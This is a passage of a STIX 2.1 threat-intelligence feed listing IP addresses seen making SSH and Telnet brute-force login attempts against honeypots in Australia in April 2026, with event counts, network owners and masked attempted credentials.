      "type": "indicator",
      "valid_from": "2026-04-07T17:15:10.000Z",
      "valid_until": "2026-05-09T17:15:08.000Z"
    },
    {
      "created": "2026-04-07T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 238. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, 3**********4, g**d, h*****r, u****u. Passwords observed (masked): 3***********4, 3**********4, *, 8****@, P*********3.",
      "id": "indicator--39c610c8-1f2a-43ff-9bfb-a11c4d83fbcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '193.39.208.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T17:15:10.000Z",
      "valid_until": "2026-05-09T17:15:08.000Z"
    },
    {
      "created": "2026-04-07T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 155. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LK. ASN(s): 9329. Organisation(s): Sri Lanka Telecom Internet. Usernames observed (masked): r**t, ***, u****u, 3**********4, l**a. Passwords observed (masked): 1******8, 1*******!, 3***********4, 3**********4, Q************7.",
      "id": "indicator--93bdcb5b-faec-45f2-9380-41bb631a4419",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.247.224.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T17:15:10.000Z",
      "valid_until": "2026-05-09T17:15:08.000Z"
    },
    {
      "created": "2026-04-07T18:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit.",
      "id": "indicator--b6dbd43f-5cfa-45af-ad99-0046f9107ffe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T18:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T18:15:05.000Z",
      "valid_until": "2026-05-09T18:15:03.000Z"
    },
    {
      "created": "2026-04-07T19:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group.",
      "id": "indicator--d501e37b-a018-456d-a3e7-765c3fec6d00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T19:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.105.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T19:15:25.000Z",
      "valid_until": "2026-05-09T19:15:08.000Z"
    },
    {
      "created": "2026-04-07T19:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--632b18c7-a1b7-42ce-9144-b3d3c8d8b79a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T19:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T19:15:25.000Z",
      "valid_until": "2026-05-09T19:15:08.000Z"
    },
    {
      "created": "2026-04-07T19:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--3187659b-2f2a-4ee4-a48d-ec893f03e96f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T19:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '164.90.186.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T19:15:25.000Z",
      "valid_until": "2026-05-09T19:15:08.000Z"
    },
    {
      "created": "2026-04-07T19:15:25.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--8edea49d-d6c6-4f2d-b3a0-aa6e894b2de0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T19:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.163.170.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T19:15:25.000Z",
      "valid_until": "2026-05-09T19:15:08.000Z"
    },
    {
      "created": "2026-04-07T19:15:25.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--3236bef6-cac1-4bbc-834d-417d21debb61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T19:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.65.194.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T19:15:25.000Z",
      "valid_until": "2026-05-09T19:15:08.000Z"
    },
    {
      "created": "2026-04-07T19:15:25.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--542c2a9d-1c9e-4e66-8af7-6f0b7727668a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T19:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T19:15:25.000Z",
      "valid_until": "2026-05-09T19:15:08.000Z"
    },
    {
      "created": "2026-04-07T19:15:25.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--8fb46308-81d5-46fd-805a-52338f41cc84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T19:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '212.248.51.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T19:15:25.000Z",
      "valid_until": "2026-05-09T19:15:08.000Z"
    },
    {
      "created": "2026-04-07T19:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t, 3**********4, ***, h*****n, m*******t. Passwords observed (masked): 1****6, 3****6, 3**********4, A********6, A*******..",
      "id": "indicator--c9a5358c-da95-4c1b-af32-b64efc03eb41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T19:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '222.186.26.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T19:15:25.000Z",
      "valid_until": "2026-05-09T19:15:08.000Z"
    },
    {
      "created": "2026-04-07T19:15:25.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--49c1629f-8bc9-4b60-a6ed-1ec014106ec8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T19:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '78.189.53.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T19:15:25.000Z",
      "valid_until": "2026-05-09T19:15:08.000Z"
    },
    {
      "created": "2026-04-07T19:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 3356. Organisation(s): Level 3 Parent, LLC. Usernames observed (masked): r**t, u**r, 3**********4, d****y, **. Passwords observed (masked): 1***5, 3***********4, 3**********4, @********!, A*******8.",
      "id": "indicator--c2167c7c-9898-4810-8b1a-e21d03cdc74a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T19:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.245.17.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T19:15:25.000Z",
      "valid_until": "2026-05-09T19:15:08.000Z"
    },
    {
      "created": "2026-04-07T19:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 203. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 34224. Organisation(s): Neterra Ltd.. Usernames observed (masked): r**t, h*****n, 3**********4, ***, ***. Passwords observed (masked): *, 1**4, 1****6, 3****6, 3***********4.",
      "id": "indicator--d2a2e5b5-bafd-41d2-b7df-0ddb777584af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T19:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.92.199.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T19:15:25.000Z",
      "valid_until": "2026-05-09T19:15:08.000Z"
    },
    {
      "created": "2026-04-07T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9694. Organisation(s): Seokyung Cable Television Co.. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, r**t.",
      "id": "indicator--3f4dc2dd-2264-4f9d-9631-8d49f723b072",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.160.79.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T20:15:10.000Z",
      "valid_until": "2026-05-09T20:15:08.000Z"
    },
    {
      "created": "2026-04-07T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--974d8f6b-de7a-4fbe-b3bc-11e561a1a3b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.135.41.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T20:15:10.000Z",
      "valid_until": "2026-05-09T20:15:08.000Z"
    },
    {
      "created": "2026-04-07T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--20b48abe-f78c-4afc-b3ae-480a26a5191f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.205.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T20:15:10.000Z",
      "valid_until": "2026-05-09T20:15:08.000Z"
    },
    {
      "created": "2026-04-07T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--6c95278a-9a3a-449e-8b44-dfcbe7d2ece6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T20:15:10.000Z",
      "valid_until": "2026-05-09T20:15:08.000Z"
    },
    {
      "created": "2026-04-07T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--7d064174-205f-4395-8794-434b3105dbff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T20:15:10.000Z",
      "valid_until": "2026-05-09T20:15:08.000Z"
    },
    {
      "created": "2026-04-07T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--531f46cf-4793-45a1-8cfd-686bc2cdf8cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T20:15:10.000Z",
      "valid_until": "2026-05-09T20:15:08.000Z"
    },
    {
      "created": "2026-04-07T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--614d9d8c-686f-41d5-b789-c0a9d8329b2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T20:15:10.000Z",
      "valid_until": "2026-05-09T20:15:08.000Z"
    },
    {
      "created": "2026-04-07T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--3f179174-be0b-4a37-a6e6-c05dadb70e34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T20:15:10.000Z",
      "valid_until": "2026-05-09T20:15:08.000Z"
    },
    {
      "created": "2026-04-07T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--d47f6afe-6b35-4d11-9a2f-794ec2a6da44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T20:15:10.000Z",
      "valid_until": "2026-05-09T20:15:08.000Z"
    },
    {
      "created": "2026-04-07T21:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--cad688bc-6620-44dc-b4f7-def593b344d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T21:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.91.124.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T21:15:16.000Z",
      "valid_until": "2026-05-09T21:15:03.000Z"
    },
    {
      "created": "2026-04-07T21:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 22. Source country: MX. ASN(s): 265625. Organisation(s): Jafica Telecomunicaciones.",
      "id": "indicator--c1d3d6a6-0fa0-4c13-ad89-24fafbd36561",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T21:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '200.124.160.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T21:15:16.000Z",
      "valid_until": "2026-05-09T21:15:03.000Z"
    },
    {
      "created": "2026-04-07T22:15:33.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 290. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, u****u, 3**********4, s***m, u**r. Passwords observed (masked): 3***********4, 3**********4, !**********c, !**********C, 1**1.",
      "id": "indicator--c6c64480-732c-4842-a7ec-a2382f660b3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T22:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '164.92.198.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T22:15:33.000Z",
      "valid_until": "2026-05-09T22:15:08.000Z"
    },
    {
      "created": "2026-04-07T22:15:33.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 290. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t, u****u, 3**********4, s***m, u**r. Passwords observed (masked): 3***********4, 3**********4, !**********c, !**********C, 1**1.",
      "id": "indicator--cf7010b5-4d4b-44bf-8dca-a10547ea017e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T22:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.239.84.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T22:15:33.000Z",
      "valid_until": "2026-05-09T22:15:08.000Z"
    },
    {
      "created": "2026-04-07T22:15:33.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 290. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS. Usernames observed (masked): r**t, u****u, 3**********4, s***m, u**r. Passwords observed (masked): 3***********4, 3**********4, !**********c, !**********C, 1**1.",
      "id": "indicator--c9dfb6fd-a8ab-4089-b722-86876f3c4d30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T22:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.159.59.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T22:15:33.000Z",
      "valid_until": "2026-05-09T22:15:08.000Z"
    },
    {
      "created": "2026-04-07T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--4c6b9f3d-e99b-4394-b3a2-d1736e5aa418",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.151.110.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T23:15:11.000Z",
      "valid_until": "2026-05-09T23:15:08.000Z"
    },
    {
      "created": "2026-04-07T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 26375. Organisation(s): AIRESPRING, INC..",
      "id": "indicator--ce2cd684-461d-45ca-8967-b906aa171c17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '162.219.216.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T23:15:11.000Z",
      "valid_until": "2026-05-09T23:15:08.000Z"
    },
    {
      "created": "2026-04-07T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--a49d3afd-300f-4e0c-86d5-00301882baff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.202.113.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T23:15:11.000Z",
      "valid_until": "2026-05-09T23:15:08.000Z"
    },
    {
      "created": "2026-04-07T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: EG. ASN(s): 24835. Organisation(s): RAYA Telecom - Egypt.",
      "id": "indicator--0bdc0658-3fc5-49ab-92e0-f206f5da887a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.204.71.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T23:15:11.000Z",
      "valid_until": "2026-05-09T23:15:08.000Z"
    },
    {
      "created": "2026-04-07T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): s**v. Passwords observed (masked): 1****6, ***, 1******8, s**v, s*****3.",
      "id": "indicator--0b575345-92ce-4d4a-bb58-afcb6821f0a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T23:15:11.000Z",
      "valid_until": "2026-05-09T23:15:08.000Z"
    },
    {
      "created": "2026-04-08T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--2cc4a940-b2f9-4ad9-9a5f-0ca14e6fe046",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.245.143.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T00:15:11.000Z",
      "valid_until": "2026-05-10T00:15:09.000Z"
    },
    {
      "created": "2026-04-08T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 131627. Organisation(s): Peicity Digital Cable Television., LTD.",
      "id": "indicator--8e0f4ce5-a531-498c-937d-70d08d8fd5fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '150.116.204.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T00:15:11.000Z",
      "valid_until": "2026-05-10T00:15:09.000Z"
    },
    {
      "created": "2026-04-08T00:15:11.000Z",
